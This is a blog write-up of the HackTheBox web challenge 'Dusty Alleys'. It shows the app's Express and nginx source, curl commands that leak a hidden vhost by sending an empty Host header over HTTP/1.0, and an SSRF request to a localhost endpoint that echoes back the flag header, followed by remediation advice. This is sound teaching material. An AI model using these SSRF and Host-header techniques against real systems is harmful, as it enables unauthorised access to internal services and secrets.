Nick Chua Logo
Web Security

Dusty Alleys | Web | HackTheBox

Author

Nick Chua

Date Published

Let's go through Dusty Alleys, a medium difficulty web challenge.

We are provided with a zip file containing the web application source code.

guardian.js

1router.get("/alley", async (_, res) => {
2 res.render("index");
3});
4
5router.get("/think", async (req, res) => {
6 return res.json(req.headers);
7});
8
9router.get("/guardian", async (req, res) => {
10 const quote = req.query.quote;
11
12 if (!quote) return res.render("guardian");
13
14 try {
15 const location = new URL(quote);
16 const direction = location.hostname;
17 if (!direction.endsWith("localhost") && direction !== "localhost")
18 return res.send("guardian", {
19 error: "You are forbidden from talking with me.",
20 });
21 } catch (error) {
22 return res.render("guardian", { error: "My brain circuits are mad." });
23 }
24
25 try {
26 let result = await node_fetch(quote, {
27 method: "GET",
28 headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
29 }).then((res) => res.text());
30
31 res.set("Content-Type", "text/plain");
32
33 res.send(result);
34 } catch (e) {
35 console.error(e);
36 return res.render("guardian", {
37 error: "The words are lost in my circuits",
38 });
39 }
40});

From the source code, if we make a GET request to the /guardian endpoint with the quote query parameter, the value of the parameter will be taken as the URL location.

This is a SSRF vulnerability, whereby the server will subsequently make a GET request to the URL set in the quote variable and set the flag in the request headers.

So how do we get the flag which is set in the request header? The /think endpoint conveniently returns to us the req.headers which will contain the flag.

However, we will realize that making a request to /guardian will give us the 404 Not Found .

Let us take a look at default.conf

1server {
2 listen 80 default_server;
3 server_name alley.$SECRET_ALLEY;
4
5 location / {
6 root /var/www/html/;
7 index index.html;
8 }
9
10 location /alley {
11 proxy_pass http://localhost:1337;
12 proxy_set_header Host $host;
13 proxy_set_header X-Real-IP $remote_addr;
14 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
15 proxy_set_header X-Forwarded-Proto $scheme;
16 }
17
18 location /think {
19 proxy_pass http://localhost:1337;
20 proxy_set_header Host $host;
21 proxy_set_header X-Real-IP $remote_addr;
22 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
23 proxy_set_header X-Forwarded-Proto $scheme;
24
25 }
26}
27
28server {
29 listen 80;
30 server_name guardian.$SECRET_ALLEY;
31
32 location /guardian {
33 proxy_pass http://localhost:1337;
34 proxy_set_header Host $host;
35 proxy_set_header X-Real-IP $remote_addr;
36 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
37 proxy_set_header X-Forwarded-Proto $scheme;
38 }
39}
40

We can see that to reach /guardian , we have to know the hostname as seen in line 30, specified as server_name guardian.$SECRET_ALLEY.

A possible approach is to fuzz for the vhost. But looking at line 2-3, we understand that if no other server block match our request's host header, it will default to the first server block, which contains server_name alley.$SECRET_ALLEY.

If we make a request as such

1curl http://<ip>:<port>/think

It returns back the ip address which we specify in our curl argument in the host header as follows

1{"host":"<ip>","x-real-ip":"10.xx.xxx.xxx","x-forwarded-for":"10.xx.xxx.xxx","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.5.0","accept":"*/*"}

In order for alley.$SECRET_ALLEY to be reflected in the host header, we can use HTTP 1.0, which allows us to remove the host header value, resulting in the server falling back to the alley.$SECRET_ALLEY value set in the host header.

Using the curl command

1curl -H 'Host:' --http1.0 http://<ip>:<port>/think

leaks the alley.$SECRET_ALLEY value as follows

1{"host":"alley.xxxxxxxxxx.xxx","x-real-ip":"10.xx.xx.xxx","x-forwarded-for":"10.xx.xx.xxx","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.5.0","accept":"*/*"}

Leaking the $SECRET_ALLEY allows us to set this value in our Host: header, enabling us to hit the /guardian endpoint, which we will leverage SSRF by setting quote=http://localhost:1337/think to get our flag

1curl -H "Host: guardian.xxxxxxxxxx.com" http://<ip>:<port>/guardian?quote=http://localhost:1337/think
2{"key":"HTB{XXXXXXXXXXXXXXXX}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}

Summary

This challenge teaches

  • nginx uses name-based virtual hosts (alley.<suffix> vs guardian.<suffix>), so reaching the “guardian” functionality depends on sending the correct Host.
  • An internal/debug-style route reflects request headers, and nginx forwards a computed $host upstream; when the client omits Host (HTTP/1.0), that reflected value can reveal the hidden vhost suffix.
  • The “guardian” route performs a restricted fetch (SSRF) and adds the flag as an outbound header; by pointing it at the header-reflecting endpoint on localhost, that header is echoed back to the client.

Remediation

  1. Remove or lock down /think
  • /think reflects req.headers (guardian.js), which can expose internal routing details (like Host) and any sensitive headers you might add later.
  • Either delete it, or only enable it in development, or block it at nginx.
  1. Stop nginx from “inventing” a Host header and forwarding it upstream
  • Your nginx config explicitly forwards Host $host (default.conf:12,20,34).
  • When a client omits Host (HTTP/1.0), nginx’s $host falls back to the selected server_name (which contains the secret suffix), and then Express reflects it via /think.
  • Fix: forward the actual client Host header ($http_host) or a fixed value, and/or reject requests with missing Host.
  1. Fix the SSRF + secret-in-header pattern
  • /guardian performs a server-side fetch to a user-controlled URL and includes a secret header (Key: process.env.FLAG) (guardian.js (lines 28-32)).
  • Even with hostname checks, redirects/DNS tricks can bite; and secrets should never be exfiltratable via outbound requests.
  • Fix: don’t fetch user-supplied URLs at all; if you must, strict allowlist + no redirects + timeouts + size limit; and never attach secrets to that request.

Thanks for reading!